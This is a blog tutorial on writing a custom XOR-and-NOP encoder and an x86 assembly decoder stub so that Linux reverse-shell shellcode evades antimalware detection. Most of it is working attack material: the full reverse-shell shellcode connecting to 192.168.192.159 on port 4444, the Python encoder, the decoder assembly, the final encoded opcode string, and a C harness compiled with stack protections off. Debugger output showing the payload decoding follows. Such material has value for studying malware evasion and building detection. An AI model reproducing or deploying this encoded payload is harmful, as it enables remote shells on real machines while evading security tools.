Introduction
Sending well known shell code to target machine would most probably be detected by antimalware solution . One way to bypass antimalware detection is to encode shell code and to have higher chances for successful bypass, custom encoder should be created and used.
In this blog post we will go thru process of creating simple encoder and decoded. As an example we will preform XOR operation on every shell code byte with value 0x0F
(encoding key) and add NOP (\x90
) instruction after every encoded shell code byte. This encoder will double shell code size which can be tricky if buffer space is small but for educational purposes we can ignore that. During decoding procedure, XOR operation will be preformed to restore original shell code and NOP instructions will be ignored.
Shell code
We can use reverse shell code and wrapper form previous blog post which tries to establish connection to defined remote address at defined port (in our case IP address is 192.168.192.159 and port is 4444).
1
2
python wrapper.py 192.168.192.159 4444
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x31\xc9\x51\x68\xc0\xa8\xc0\x9f\x66\x68\x11\x5c\x66\x6a\x02\x89\xfb\x89\xe1\xb2\x16\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encoder
Once we get opcodes for encoded shell code, we will use following python script to read thru defined bytearray (shell code opcodes) and preform XOR operation with 0x0F
key. After XOR opration, NOP (\x90
) will be injected after every encoded byte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import sys
import random
# Custom reverse shell opcode (connect to 192.168.192.159 at port 4444)
shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x31\xc9\x51\x68\xc0\xa8\xc0\x9f\x66\x68\x11\x5c\x66\x6a\x02\x89\xfb\x89\xe1\xb2\x16\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
# Encoder: XOR every byte with 0x0F and then insert x90
enc_shellcode="" # declare empty string
for x in bytearray(shellcode): # for every byte in bytearray
x=x^0x0f # preform XOR byte with 0x0F
enc_shellcode+='0x%02x,'%x # write encoded byte in new string
enc_shellcode+='0x90,' # add NOP (\x90) after every encoded byte in new string
# Print encoded opcode
print 'Encoded shellcode: ' + enc_shellcode
Encoded shell code is following:
1
2
python encoder.py
Encoded shellcode: 0x3e,0x90,0xcf,0x90,0x3e,0x90,0xd4,0x90,0x3e,0x90,0xc6,0x90,0x3e,0x90,0xdd,0x90,0x3e,0x90,0xf9,0x90,0x69,0x90,0xb7,0x90,0x68,0x90,0x0e,0x90,0xbc,0x90,0x0d,0x90,0xbe,0x90,0x0e,0x90,0xbd,0x90,0x09,0x90,0xc2,0x90,0x8f,0x90,0x86,0x90,0xc8,0x90,0x3e,0x90,0xcf,0x90,0x69,0x90,0xb7,0x90,0x65,0x90,0x0e,0x90,0x3e,0x90,0xc6,0x90,0x5e,0x90,0x67,0x90,0xcf,0x90,0xa7,0x90,0xcf,0x90,0x90,0x90,0x69,0x90,0x67,0x90,0x1e,0x90,0x53,0x90,0x69,0x90,0x65,0x90,0x0d,0x90,0x86,0x90,0xf4,0x90,0x86,0x90,0xee,0x90,0xbd,0x90,0x19,0x90,0xc2,0x90,0x8f,0x90,0x3e,0x90,0xcf,0x90,0x3e,0x90,0xd4,0x90,0x3e,0x90,0xc6,0x90,0xbe,0x90,0x0c,0x90,0x3e,0x90,0xcf,0x90,0xbf,0x90,0x30,0x90,0x86,0x90,0xf4,0x90,0xf1,0x90,0xc6,0x90,0xc2,0x90,0x8f,0x90,0x7a,0x90,0xfb,0x90,0x3e,0x90,0xcf,0x90,0x5f,0x90,0x67,0x90,0x61,0x90,0x20,0x90,0x7c,0x90,0x67,0x90,0x67,0x90,0x20,0x90,0x20,0x90,0x6d,0x90,0x66,0x90,0x86,0x90,0xec,0x90,0x5f,0x90,0x86,0x90,0xed,0x90,0x5c,0x90,0x86,0x90,0xee,0x90,0xbf,0x90,0x04,0x90,0xc2,0x90,0x8f,0x90,
Decoder
To successfuly decode encoded shell code, we need to preform XOR operation for every shell code byte with previously defined key 0x0F
. Every other byte will be skipped as it is NOP (0x90
) instruction.
We will use following registers for decoding:
- EAX for XOR operations
- ECX as counter for decoding stub
- EDX as pointer to beginning of encoded (and later decoded) shell code
- ESI as pointer to byte which we need to decode
- EDI as pointer to memory address where decoded byte will be placed overwriting original byte
Stub will overwrite original encoded shell code with decoded one, but since we will skip every other byte (0x90
) we will have some “garbage” left on the stack. Since running our shell code is primary goal we won’t bother with garbage code at this point in time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global _start
section .text
_start:
jmp short call_decoder
decode:
pop esi ; pop pointer to shellcode in ESI
xor eax, eax ; clear EAX - used for XOR operations
xor ecx, ecx ; clear EXC - used as counter
xor edi, edi ; clear EDI - used as pointer to decoded shell code destination
mov cl, len ; move length of the shellcode in cl
sar cl, 1 ; divide by 2 (since we are skipping every 2nd byte which is \x90)
mov edx, esi ; save pointer to beginning of shellcode from ESI to EDX
mov edi, esi ; save pointer to beginning of shellcode from ESI to EDI
decoder_loop:
mov al, byte [esi] ; move one byte from address pointed by ESI
xor byte al, 0x0f ; XOR first byte of the shellcode with 0x0f
mov [edi], al ; move new value from AL to address pointed by ESI
inc esi ; increment ESI (to get to new address)
inc esi ; increment ESI (to skip \x90 - NOP)
inc edi ; increment EDI - pointer to decoded shellcode
dec ecx ; decrement ECX (counter) by 1
cmp cl, 0x1 ; compare if CL is eaqual to 1 and is so - jump to shellcode pointed by EDX
jnz decoder_loop
jmp edx
call_decoder:
call decode
shellcode: db 0x3e,0x90,0xcf,0x90,0x3e,0x90,0xd4,0x90,0x3e,0x90,0xc6,0x90,0x3e,0x90,0xdd,0x90,0x3e,0x90,0xf9,0x90,0x69,0x90,0xb7,0x90,0x68,0x90,0x0e,0x90,0xbc,0x90,0x0d,0x90,0xbe,0x90,0x0e,0x90,0xbd,0x90,0x09,0x90,0xc2,0x90,0x8f,0x90,0x86,0x90,0xc8,0x90,0x3e,0x90,0xcf,0x90,0x69,0x90,0xb7,0x90,0x65,0x90,0x0e,0x90,0x3e,0x90,0xc6,0x90,0x5e,0x90,0x67,0x90,0xcf,0x90,0xa7,0x90,0xcf,0x90,0x90,0x90,0x69,0x90,0x67,0x90,0x1e,0x90,0x53,0x90,0x69,0x90,0x65,0x90,0x0d,0x90,0x86,0x90,0xf4,0x90,0x86,0x90,0xee,0x90,0xbd,0x90,0x19,0x90,0xc2,0x90,0x8f,0x90,0x3e,0x90,0xcf,0x90,0x3e,0x90,0xd4,0x90,0x3e,0x90,0xc6,0x90,0xbe,0x90,0x0c,0x90,0x3e,0x90,0xcf,0x90,0xbf,0x90,0x30,0x90,0x86,0x90,0xf4,0x90,0xf1,0x90,0xc6,0x90,0xc2,0x90,0x8f,0x90,0x7a,0x90,0xfb,0x90,0x3e,0x90,0xcf,0x90,0x5f,0x90,0x67,0x90,0x61,0x90,0x20,0x90,0x7c,0x90,0x67,0x90,0x67,0x90,0x20,0x90,0x20,0x90,0x6d,0x90,0x66,0x90,0x86,0x90,0xec,0x90,0x5f,0x90,0x86,0x90,0xed,0x90,0x5c,0x90,0x86,0x90,0xee,0x90,0xbf,0x90,0x04,0x90,0xc2,0x90,0x8f,0x90
len equ $-shellcode
Assembly code needs to be compiled and linked in the usual way..
1
2
nasm -f elf32 -o decoder.o decoder.nasm
ld -z execstack -o decoder decoder.o
But to get opcode we need to modify the usual objdump/cut command as output has more that 6 columns, so instead of cut -f1-6
we need to use cut -f1-7
as follows:
1
objdump -d $1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
With modified command, extracted opcode is following:
1
"\xeb\x20\x5e\x31\xc0\x31\xc9\x31\xff\xb1\xc4\xd0\xf9\x89\xf2\x89\xf7\x8a\x06\x34\x0f\x88\x07\x46\x46\x47\x49\x80\xf9\x01\x75\xf1\xff\xe2\xe8\xdb\xff\xff\xff\x3e\x90\xcf\x90\x3e\x90\xd4\x90\x3e\x90\xc6\x90\x3e\x90\xdd\x90\x3e\x90\xf9\x90\x69\x90\xb7\x90\x68\x90\x0e\x90\xbc\x90\x0d\x90\xbe\x90\x0e\x90\xbd\x90\x09\x90\xc2\x90\x8f\x90\x86\x90\xc8\x90\x3e\x90\xcf\x90\x69\x90\xb7\x90\x65\x90\x0e\x90\x3e\x90\xc6\x90\x5e\x90\x67\x90\xcf\x90\xa7\x90\xcf\x90\x90\x90\x69\x90\x67\x90\x1e\x90\x53\x90\x69\x90\x65\x90\x0d\x90\x86\x90\xf4\x90\x86\x90\xee\x90\xbd\x90\x19\x90\xc2\x90\x8f\x90\x3e\x90\xcf\x90\x3e\x90\xd4\x90\x3e\x90\xc6\x90\xbe\x90\x0c\x90\x3e\x90\xcf\x90\xbf\x90\x30\x90\x86\x90\xf4\x90\xf1\x90\xc6\x90\xc2\x90\x8f\x90\x7a\x90\xfb\x90\x3e\x90\xcf\x90\x5f\x90\x67\x90\x61\x90\x20\x90\x7c\x90\x67\x90\x67\x90\x20\x90\x20\x90\x6d\x90\x66\x90\x86\x90\xec\x90\x5f\x90\x86\x90\xed\x90\x5c\x90\x86\x90\xee\x90\xbf\x90\x04\x90\xc2\x90\x8f\x90"
Seeing decoder in action
Next, we can use skeleton code to run and test if decoding is successfull. To compile it following command should be used:
1
gcc -fno-stack-protector -z execstack -m32 skeleton.c -o encoded_revshell -g
Skeleton file with encoded shell code:
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
unsigned char shellcode[] = "\xeb\x20\x5e\x31\xc0\x31\xc9\x31\xff\xb1\xc4\xd0\xf9\x89\xf2\x89\xf7\x8a\x06\x34\x0f\x88\x07\x46\x46\x47\x49\x80\xf9\x01\x75\xf1\xff\xe2\xe8\xdb\xff\xff\xff\x3e\x90\xcf\x90\x3e\x90\xd4\x90\x3e\x90\xc6\x90\x3e\x90\xdd\x90\x3e\x90\xf9\x90\x69\x90\xb7\x90\x68\x90\x0e\x90\xbc\x90\x0d\x90\xbe\x90\x0e\x90\xbd\x90\x09\x90\xc2\x90\x8f\x90\x86\x90\xc8\x90\x3e\x90\xcf\x90\x69\x90\xb7\x90\x65\x90\x0e\x90\x3e\x90\xc6\x90\x5e\x90\x67\x90\xcf\x90\xa7\x90\xcf\x90\x90\x90\x69\x90\x67\x90\x1e\x90\x53\x90\x69\x90\x65\x90\x0d\x90\x86\x90\xf4\x90\x86\x90\xee\x90\xbd\x90\x19\x90\xc2\x90\x8f\x90\x3e\x90\xcf\x90\x3e\x90\xd4\x90\x3e\x90\xc6\x90\xbe\x90\x0c\x90\x3e\x90\xcf\x90\xbf\x90\x30\x90\x86\x90\xf4\x90\xf1\x90\xc6\x90\xc2\x90\x8f\x90\x7a\x90\xfb\x90\x3e\x90\xcf\x90\x5f\x90\x67\x90\x61\x90\x20\x90\x7c\x90\x67\x90\x67\x90\x20\x90\x20\x90\x6d\x90\x66\x90\x86\x90\xec\x90\x5f\x90\x86\x90\xed\x90\x5c\x90\x86\x90\xee\x90\xbf\x90\x04\x90\xc2\x90\x8f\x90";
int main()
{
int (*ret)() = (int(*)())shellcode;
printf("Size of shellcode: %d bytes.\n", sizeof(shellcode));
ret();
}
By stepping thu program with GDB we can observe shell code decoding. ESI register is used for storing pointer to beginning of encoded shellcode.
At the beginning of decoding stub we can see that ESI register is pointing to the beginning of encoded shellcode which is located at memory address: 0x404067
.
1
2
gdb-peda$ info register esi
esi 0x404067 0x404067
So in order to observe decoding, we will monitor first 10 bytes starting at 0x404067
memory address. Before decoding starts we can see that memory address 0x404067
contain encoded shell code (0x3e, 0x90, 0xcf, 0x90, 0x3e, 0x90 …)
- Initial data on address
0x404067
1
2
3
gdb-peda$ x/10b 0x404067
0x404067 <shellcode+39>: 0x3e 0x90 0xcf 0x90 0x3e 0x90 0xd4 0x90
0x40406f <shellcode+47>: 0x3e 0x90
- content of the same address (
0x404067
) after few iterations:
We can see that0x3e
is decoded to0x31
which is result of following operationXOR 0x0F, 0x3e
and0x90
from previous snippet is ignored and overwritten with result ofXOR 0xfc, 0x0f
operation. Also 3rd byte is replaced with 0x31 which is result ofXOR 0x3e, 0x0f
operation etc.
1
2
3
4
5
6
gdb-peda$ x/10b 0x404067
0x404067 <shellcode+39>: 0x31 0xc0 0x31 0xdb 0x31 0x90 0xd4 0x90
decoded 1st opcode ------------^^^^
NOP is replaced with 2nd opcode -------^^^^
decoded 3rd opcode ----------------------------^^^^
etc.
- content of the same address (
0x404067
) after some more iterations:
We can see that decoded shell code does not contain added NOPs (0x90
) and that all opcodes are XORed (0x3e XOR 0f = 0x31, 0xcf XOR 0x0f = 0xc0, etc.). Decoded opcodes overwrites original encoded opcodes:1 2 3
gdb-peda$ x/10b 0x404067 0x404067 <shellcode+39>: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2 0x40406f <shellcode+47>: 0x31 0xf6
Reverse shell is successfuly established once decoding is finished as show on following scren shot.